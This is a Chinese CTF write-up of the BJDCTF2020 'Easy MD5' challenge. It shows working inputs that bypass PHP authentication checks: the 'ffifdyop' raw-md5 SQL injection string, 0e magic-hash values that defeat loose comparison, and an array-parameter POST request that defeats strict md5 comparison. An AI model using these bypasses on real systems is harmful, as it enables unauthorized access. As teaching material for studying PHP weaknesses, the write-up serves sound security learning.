打开题目,发现是一个输入框,抓响应包后发现存在如下提示:Hint: select * from 'admin' where password=md5($pass,true)
。
当 PHP
的 md5()
函数的第二个参数为 True
时,会将 string
转换为 16
字符的二进制格式,如使用一些特殊的 $pass
,则可以绕过以上 SQL
查询,如:ffifdyop
,ffifdyop
计算 md5
后为:'or'6É]™é!r,ùíb
,则可以闭合引号,并且让表达式为真。
当输入 ffifdyop
后,响应包中可以看到跳转到 ./levels91.php
上,而 levels91.php
的页面源代码如下。
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
span {
position: relative;
display: flex;
width: 100%;
height: 700px;
align-items: center;
font-size: 70px;
font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
justify-content: center;
}
</style>
</head>
<body>
<span>Do You Like MD5?</span>
</body>
</html>
可以看到,是使用弱比较,这里就引出了 PHP
md5
的另外一个特性:0e
特性,即 PHP
在处理哈希字符串时,通过 !=
或 ==
来对哈希值进行比较时,PHP
会把每一个以 0e
开头的哈希值都解释为 0
,所以如果两个不同的密码经过哈希以后,其哈希值都是以 0e
开头的,那么 PHP
将会认为他们相同,都是 0
。
Payload
:/levels91.php?a=s878926199a&b=s155964671a
。
此时,页面又会跳转到 ./levell14.php
,页面源代码如下。
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里,用到了 PHP
md5()
函数在处理数组时的特性,即 PHP
的 md5()
函数获取不到数组的值,将返回 0
。
POST /levell14.php HTTP/1.1
Host: e978be09-ae56-497c-9a69-7622ad19c54d.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
param1[]=1¶m2[]=2
标签:PHP,Easy,Lucida,application,MD5,哈希,BJDCTF2020,php,md5
From: https://www.cnblogs.com/imtaieee/p/17800086.html